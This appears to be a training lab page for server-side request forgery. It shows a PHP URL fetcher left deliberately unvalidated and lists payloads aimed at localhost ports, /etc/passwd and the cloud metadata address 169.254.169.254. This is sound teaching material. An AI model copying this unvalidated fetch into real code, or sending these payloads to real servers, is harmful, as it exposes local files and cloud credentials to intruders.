SSRF in basic URL fetching functionality
This lab demonstrates a basic SSRF vulnerability in a URL fetcher service. The application makes server-side requests to user-supplied URLs without proper validation, allowing access to internal services.
Objective: Use SSRF to access internal services, cloud metadata, or local files.
// Handle URL fetch request
if (isset($_GET['url']) && !empty($_GET['url'])) {
$url = $_GET['url'];
// Vulnerable: No validation of URL
try {
$context = stream_context_create([
'http' => [
'timeout' => 10,
'user_agent' => 'SSRF-Lab/1.0'
]
]);
$response = file_get_contents($url, false, $context);
if ($response !== false) {
// Display response content
}
} catch (Exception $e) {
// Error handling
}
}
// Example vulnerable usage:
// ?url=https://example.com
// ?url=http://localhost:8080
// ?url=file:///etc/passwd
urlTry these payloads in the url parameter:
http://localhost:8080 - Local servicehttp://127.0.0.1:3306 - Database portfile:///etc/passwd - Local filehttp://169.254.169.254/ - Cloud metadatahttp://localhost:22 - SSH portExample URLs:
1.php?url=http://localhost:80801.php?url=file:///etc/passwdClick these links to test the vulnerability: